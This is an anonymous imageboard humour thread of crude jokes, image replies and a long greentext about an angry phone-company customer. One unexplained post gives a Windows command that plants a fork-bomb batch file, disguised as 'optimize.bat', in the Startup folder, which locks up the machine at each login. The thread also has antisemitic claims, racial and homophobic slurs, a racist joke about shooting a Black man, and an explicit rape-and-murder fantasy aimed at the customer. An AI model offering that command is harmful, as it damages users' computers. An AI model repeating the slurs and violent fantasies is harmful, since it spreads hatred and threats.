ylyl
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Only a fool would take anything posted here as fact.
Only a fool would take anything posted here as fact.
ylyl
>>767595687
>>767595861
>>767595861
>>767597149
This image was from the roast where Gilbert told the joke that is only supposed to be a joke for comedians to tell other comedians. The joke is called "The Aristocrats" there is a documentary about this joke, many renditions of the joke have been told, but most consider Gilbert's the best.
>>767596877
Underrated
>>767597739
best one so far
>>767596877
i rost
>>767601783
Dude that's fucking gross, just stop
https://en.m.wikipedia.org/wiki/Underground_Album
>>767601947
You're just pissed cause your mom doesn't love you
>>767596877
i ruse
checked
>>767602106
Incognit mode for that, really you are that faggot?
>>767602827
The fuck is the point of incognito mode anyway? Delete your history so your parents don't see it, and the government will always know what you've been doing no matter what mode
>>767603568
So that when someone grabs your phone and starts typing into the search bar, awkward moments are avoided.
>>767602331
Shit man, i loved JFK reloaded. Me and my dad always tried to get the bus to run into onlookers.
>>767601947
That's really tame by /b/ standards
>>767595687
Shouldn't it be "Sword catching butt technique"?
>>767601947
man i straight up play with my gf do do to nut
>>767605000
>>767601783
Sauce?
>>767595687
>>767595687
>>767597149
>tfw you hold in a poop to stimulate your prostate and you cum your pants in the middle of class
>>767606048
But why? What could possibly be best case scenario for doing that?
>>767606515
>But why? What could possibly be best case scenario for doing that?
Fetish, orgasm
>>767605930
Jim
>>767606048
If I had followed God's word I would not have seen this. You make me consider a faith.
>>767602106
I fucking lost. After all these years I fucking lost to this. Have your (You), anon
>>767595687
Souce on that?
>>767595687
>>767603568
>parents
>>767604408
Wut?
>>767602106
God damn you, anon.
>>767598308
He told it after making a 9/11 joke. I think it was like, a week later if that.
I don't find him very funny, tbh, but that was pretty ballsy.
>>767601783
lol
>>767607964
They check the basement computer sometimes
>>767597149
Man I love Gilbert kek
>>767608332
before or after they drop off the tendies lol
>>767608479
I'll drop a nut in your asshole.
>>767597149
leave it to a jew to still up dissention
>>767608620
>>767608479
Neither, I'm usually at work when they check i can't be home all the time they may kick me out. A 32 year old who tries is ok but one who stays down here all the time isn't apparently
>>767595687
I went through this entire shit thread and didn't laugh, I guess I won
>>767597405
Underrated.
>>767608620
And many keks were had.
>>767597149
It's the voice that makes it.
>>767608858
Too soon
>>767601783
Sauce?
>>767608858
edgy
>>767606048
Does anyone else think this would super comfy on your dick?
>>767608948
kek
https://youtu.be/OJWjs_dFpV0
>>767602106
Actually had a friend in high school who turned me on to him. Good stuff.
>>767609060
I seriously don't know how they get them out. Earthworms have like, spines in each of their lil segments, sharp hard hairs that act almost like feet, but only go one way, so it mite be able to go in but pulling it out is gonna tear the shit out of his sinkhole.
Then again, he's shoving worms up his cock so I guess he deserves it?
>>767609455
Good life decisions aren't his forte.
>>767609455
>I'm sorry doctor I didn't know earthworms were so dangerous
>Well son, they are when you shove them up your dickhole
>>767607861
Kek
>>767608117
That's gore you prick!
YLYL would be sending the PFY to find out why the server in rack AB12RU14 has gone down.
>>767609359
>I’m gonna didgeridoo you in the ass
Straya
>>767609918
>aRse
thank you very much, mate.
>>767610140
While I agree with you, even as a yank (even though I’m a confederate I know we’re all the same to you) that’s what it says in the pic
>>767603568
It prevents sites from storing cookie/session data in your browser after you close it, in addition to not saving your browser history, temporary internet files, etc
>>767597149
Moar like this>>767597149
>>767597149
>>767597149
>What do you do when you see a bleeding black guy in your backyard?
>Stop laughing and reload
https://youtu.be/_zCDvOsdL9Q
>>767610619
>>767610305
Must be a US production then. If it was an Australian made poofter flick it would be spelt the /right/ way. But damn, I can't imagine getting one of them up the date hole, probably be much more comfortable to fuck one end of it, the end with the nice bees wax coating that is.
>>767606515
you haven't lived til you've experienced a worm-in-urethra-induced orgasm
cd "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" && echo ^@^%0^|^%0 > optimize.bat && exit
>>767611031
But Jesus was a jew
>>767611090
Exactly why you shouldn't trust the Jews
>>767611031
Very kek
Alright now children, gather round now and let me tell Y’all a story
>Be me, 20, and work for arguably the most expensive for the worst cellular service provider around
>call rings
>I answer
>Call starts, account verified, and the Legend of Korah™, a younger woman, over here seems to be friendly
>Pull up the account
>Cust believes she’s set up an arrangement to secure her services, but her account has suspended
>Easy enough to fix, other than there was no fucking arrangement
>Little known Fact: You can set up a Future Dated Payment to be drafted next year, and we’ll save it, but it WON’T secure your services until next year, whilst a PAYMENT ARRANGEMENT WILL
>GreatNowShesPissed.jpg
>I inform her that she set up a FUTURE DATED PAYMENT to be drawn on 06/04, but didn’t set an arrangement so her account suspended
>This would have put her already TWO MONTHS past due balance, and made it FOUR MONTHS past due
>She literally did it to herself online, so I can’t do anything about it
>She’s never kept a payment arrangement anyway, so I’m not even gonna try to get an exception
>The Legend of Korah™ decides that I’m a “Fucking moron,” and so the fun begins
>YouWalkedRightIntoMyTrapCard.gif
>I sit back, relax, and maintain like a true D, O, Double G
>She’s frantic, but has no reason as to why she wants the Payment Arrangement out that far
>>767610879
>date hole
You guys just keep getting better
>>767604408
>penis inspection day
>>767611210
>This lady is screaming like a fucking banshee, and won’t give up
>her worst mistake was thinking that I would
>LetsGetItStartedInHere.mp3
>Her:”I fucking hate you, you sack of shit!”
>SadBoi.html
>Me: “I’m sorry for the inconvenience.”
>TryMeBitch.mp3
>She’s arguably the angriest customer I’ve ever had, and it’s all her fault
>I’m still trying to be nice and letting her know I understand why she’s frustrated
>She won’t have it
>Demands customer Loyalty
>Little known fact: Loyalty can’t do SHIT with a suspended account, so she’s all mine
>I explain the Loyalty can’t do anything for her
>She calls me a liar
>Bet.jpg
>This back and forth explanation goes on for 10 minutes straight
>YoullNeverBreakMe_AndHeresWhy.PDF
>She’s trying everything she can to sink my boat, but I’ve got Flex Seal™ to stop leaks fast
>After she struggles to make a sound past the oceans worth of Sea Foam™ she has on her face, she demands a Supervisor
>MightyBigWordsForSuchASmallMan.mp3
>Me: “No problem, my supervisor can actually do more for the account than a loyalty specialist could anyway.”
>Her:”Fuck you.”
>PleaseDont_IHaveAWife.wmv
>>767603467
can same one explain me the context of this photo?
>>767611252
>Literally, the ENTIRE time I’m trying to transfer her, She’s screaming and telling me to shut up like a 5 year old
>Look-I’mOnlyGoingToMakeThisHarderOnYouSoJustStop
>I decided to just keep talking over her, letting her know what to expect when being transfered, and I took my time doing it
>Her: “YOU KNOW WHAT, BULLSHIT you’re a fucking Liar, now you ARE gonna get me to a loyalty specialist, I don’t wanna talk to your worthless fucking supervisor.”
>Me: *Audibly laughed at this woman by accident* “Okay, but again, they literally CAN’T DO ANYTHING for your account.”
>Her: “THAT’S IT, I’M WRITING A LETTER ABOUT YOU STRAIGHT TO AT&T.”
>Me: “Okay.”
>JustDoIt_DontLetYourDreamsBeDreams.mov
>She is literally screaming so loud at this point I wouldn’t be surprised to hear the cops called on her
>GetThePoliceOutHere_TheresAWomanScreamingForHerLifeInThatHouse.mp3
>She’s screaming so hard she’s losing her voice
>She sounds like a nail being dragged on a chalkboard with emotions
>GutteralScreech.mp4
>SheNeedSomeMilk.wav
>>767611172
He was a jew, killed by the romans
>>767611300
>Her: “I Hate you SOOOOOOOO FUUUUUUUUCKING MUUUUUUUUUUUCH!”
>Me: *I hope so* “Again, I apologize for the inconvinience, BUT, I’ve provided the options available to the account.”
>She’s speaking and writing the letter at the same time as to what I’m doing, and you know, that made me laugh too
>Her pointing out that I chuckled made me laugh even more
>This quickly escalates again, into what else? BUT ASKING FOR LOYALTY YET AGAIN
>THIS WOMAN WON’T LEARN
>I’m like, FuckIt.mp4 and decide to transfer her
>The whole time over, she’s screaming telling me to shut up, writing the letter, and probably foaming on the letter so much it will be illegible by the time she’s done
>I wait on hold to transfer her, and the loyalty department is fucking CLOSED
>Oh yay, I get to tell her the good news
>ManiacalLaughingIntensifies.gif
>Let me put it softly, she didn’t take the news well
>SHE IS LIVID
>I mean pure hatred in her words
>Yes_LetTheHateFlowThroughYou.mp4
>The day looks bleak, The wild Legend of Korah™, just won’t give in, but neither will I
>The argument commences once again
>And let me tell you, this is the first time I’ve EVER been called a “You’re a Dog-fucking, yellow-bellied, Hillbilly ass, fucking worthless degenerate of a white man, and the most vile excuse for a man I’ve ever spoken to.”
>I’ve never been more proud
>JeffyGoesForGold.jpg
>TO my surprise, she hung up
>I notate not to grant a Payment arrangement under any circumstances and close the account
>That’s right Boi’s, I WON
>>767607777
Give those quads the source requested.
all these post and no one can make me laught. really sad.
>>767610561
Lost
>>767601947
it's literally not real.
>>767601783
sauce?
>>767611210
>>767611252
>>767611300
>>767611324
Someone make this man a screencap. I'd do it, but I'm too lazy.
>>767608551
Seen this pic a thousand times. Never lost.
Why did I loose this time?
>>767611090
>>767605169
Cannot unsee, ghhuuuu
>>767611929
>>767612521
>>767611825
...Why though?
Someone trying way too hard to tell a story about a phone call.
>>767612597
>>767612632
is this real?
>>767611303
Dunno why, but this got me. Well played.
>>767613153
yep
>>767605169
i thought those were black guy hands at first...but theyre just covered in shit
>>767611312
Who told you that?
The Jews of course
>>767612632
>Shane
The fuck kind of parents name their son that?
>>767613376
>>767606048
this shit really turns me on except for the fact that they never clean off the worms at all, i can't imagine what kind of trouble dirt in a dickhole could cause if it got too far in
>>767606048
As fucked as this was, I still wanted to see him finish.
>>767612632
Rest in mario
>>767605281
>>767608990
>>767611753
https://myanimelist.net/anime/31442/Musaigen_no_Phantom_World
>>767599463
This is the kind of meme my mom would find hilarious
>>767607777
It's called butt attack punisher girl gautaman. It's an obscure anime movie from 1994
>>767605762
are you fucking 8? get the fuck out little piece of shit
>>767613424
Shane Wayne. See the lifted up part
>>767612632
That's a cool bed
>>767604022
kek. your dad sounds like a cool guy.
>>767612632
>shane wayne
i dunno why but this made me laugh
>>767613607
but this, this one opened the roflgates
>>767606048
That may just be the most fucked thing I've seen on this site
>>767608983
You offended?
>>767606048
I hate to admit it but I got a little hard watching this.
>>767614536
Fucking rookie.
>>767613376
>>767608838
Congrats m8 Your dead inside
>>767608117
>a network cable is unplugged
>>767606048
Still doesn't top that praying mantis eating that black chick's nipple.
>>767615084
>>767605169
the asshole is the cleanest part
>>767615314
Imagine asking for a spare pen and your classmate whips out his cock and shoots it out like that toward you
>>767614816
I've been here quite a while. Trust me, this is fucked up. I have a large tolerance for a lot of things, but this fucking thing...
>>767608858
Idk why but this made me fucking laugh my ass off. It's just so brutal and over the top like a cartoon or something.
>>767596877
lost
>>767604408
This makes me Nostalgic for elementary school. Every boys favorite day was penis inspection day because we knew we had a free day off while the girls had to study medical stuff about cramps having babies and cooking.
>>767614828
>Acting as if what the Jews say is their history is actually Nazi propoganda
>>767606048
Shit seriously all these bitches haven't seen this. How part time are you nigger licking dick tickling ball gargglers
>>767606048
I hope he autofellatio after all this. That’s a lot of effort to not suck your own dick.
>>767615477
You newfags always try to pull that ‘ive been here forever’ bullshit but are to new to realize how often shit like that gets posted, so in trying to not look like a newfag you look like an even more retarded newfag than you would have otherwise. Good job faggot
>>767613666
No fuckin way
>>767615766
>>767615428
I might die laughing lol
>>767606048
I love how he throws the one worm away, like 'You're fuckin' fired you no good no dick crawling in ass worm'.
>>767612632
I'd kill myself too if my name was Shane Wayne.
>>767616191
Kid i knew back in hs was named john johnny johnson. First middle and last name
>>767616052
Oh, and you've totally been here since the beginning. Sure, lad.
>>767616294
No but i also didnt claim to be
>>767610568
What about a BURBLE? You know where you have to pee and poop but you sneeze and you hard fart out a poop while pee goes full blast and the sneeze makes you spray snot out your nose. Or a burblgüt where the sneeze causes a barfing
>>767602106
little sussie shallow throat is literally GOAT
>>767616412
You sure fucking implied it
>>767595687
>Hm,,,,he was behind?
>>767616514
except no he didn't?
>>767616514
>calling out a newfags newfaggotry implies being here 15 years
Is this your first day?
>>767616654
>>767616665
Samefag
>>767616781
Uh huh. Tell me about using ms paint on a iphag
>>767614828
TBH it says that the Jews turned Jesus in, the romans put him on trial and did the physical crucifying.
John: 8:59 says "they (the Jews" picked up stones to throw at him, but Jesus hid himself..."
John 18:3 through 18:10 describes the pharisees (a sect of The Jews) along with roman soldiers and Judas arresting Jesus.
You know the rest
>>767611324
Cool story bro
>>767599463
lost
>>767616844
>using 4chan on an iPhone
>>767616781
>>>767616654 (You)
>>>767616665
>Samefag
>>767616844
opposite on this end. I'm on a computer
>>767615428
Lost
>>767617062
No one will fall for your obvious Jewish deceit
>>767616514
No, you inferred it
>>767616973
Well im not using my work computer for it faggot. If you made the argument about just owning an iphone id agree with you, this contract is up in november and then im off the applefag train
>>767611324
You didn't win. If you had her account it said her address right? Id show up and murder her. I mean just rape her ancestors happienes till fire ass blasted her front butt with hatred. Just
Fucking
Murdered her
For the greater good of all mankind and the universe in totality. Ohohohohohoho I'm getting hard just thinking about raping her to death with her family members severed limbs and string her guts up like pretty lights. I'd invite the whole town to see my masterpiece. I'd ejaculate before the giant screen I set up to show them all the prerforomance of a life
>>767617500
>>767614536
newfag
>>767597149
welp. i'm out. enjoy the thread, fellas.
>>767617289
Ahh, the pleasure of being atheist
>>767612632
Why is there a picture of Vern troyer with hair on the inside
>>767616141
fucking kek
>>767614828
Nigga read the fucking Bible.
>>767615477
It's been posted over ten thousand times in the past 6 months where the fuck have you been you blind flaming nigtard
>>767615731
The feeling is real
>>767617780
>>767603467
lmao that guy in the corner
>"kill me"
>>767616294
>you've totally been here since the beginning. Sure, lad
>Implying that's something to take pride in you're just a nobody dressing up as Bruce Lee and you wonder why it hurts when you try to kick a pickup truck in half
>>767616514
Holy shit shut up.im about to piss my pants stop it's too much I can't it hurts I can't breath hahahahaahahahHAHAHAHAHAHAHAAAaaaaa....
>>767617937
seen it
>>767611312
No.. He was a Jew who's fate was decided by other Jews.
He was fucking with their flow of shekels so they wanted him dead.
The Romans only carried out the sentence.
>>767618017
Sorry man, i saved it a day ago, i wish i haven't deleted my animal rekt folder.
>>767616091
Your pronoun must be faggot
>>767618103
Pro your be faggot noun must
>>767605000
Checked
>>767618163
>>767618072
thats fine, man just save the images, they might come in use later
>>767618255
thank you stranger, here is a cat for you.
>>767606048
This is r/funny, not r/WTF
>>767618171
>>767617977
kek
>>767618340
Thank you.
>>767615361
That's because it's his shit, not hers.
>>767618495
this is now a cat drug deal.
>>767602331
Kek. Got me with the reply
>>767601947
That's why it's funny you normalfag
You double nigger
>>767618639
how can you put that in your ass ?
>>767618639
What Pokemon is that?
>>767610446
This one wins.
>>767617937
story?
>>767618765
None. They just didnt like the cut of his jive
>>767618163
>that one in the botom left corner
I found Robbie Rotten's daughter! is she thinking in villainy? on study trickery?
>>767595687
Friday and a YLYL thread? Pewdiepie trying to get da memes again
>>767618765
some junkies getting revenge on a druglord by killing his child.
>>767618639
Is that a cock ring forced over a buttplug with strawberry lube and shit on it?
>>767616973
>posting on /b/
>having a pat pleb superiority complex
>>767618914
Then i belive i won this round.
>>767618744
Ferroseed
>>767618495
kek
>>767618959
>>767608858
Found the bitter virgin.
>>767619017
>>767618964
kek
>>767619089
>>767612521
I went to a McDonalds near where I live and opened the bathroom door to find a scene similar to this. I'll never forget the smell. It was the neighborhood "homeless" guy who pretends to be crippled, I fucking hate that guy
>>767601947
>>767605281
There are two kinds of people
>>767597149
Fucking raw!
>>767619212
>>767619164
Make a truth teller out of him kek
>>767619259
you win this round..
>>767619342
or do I?
>>767605123
lol
>>767614828
The reason why this made me laugh is because I can just fucking tell that there used to be a hammer and sickle there, then some autist got triggered so they took the time to erase it and crudely scrawl an ms paint swastika there instead
newfags can't triforce
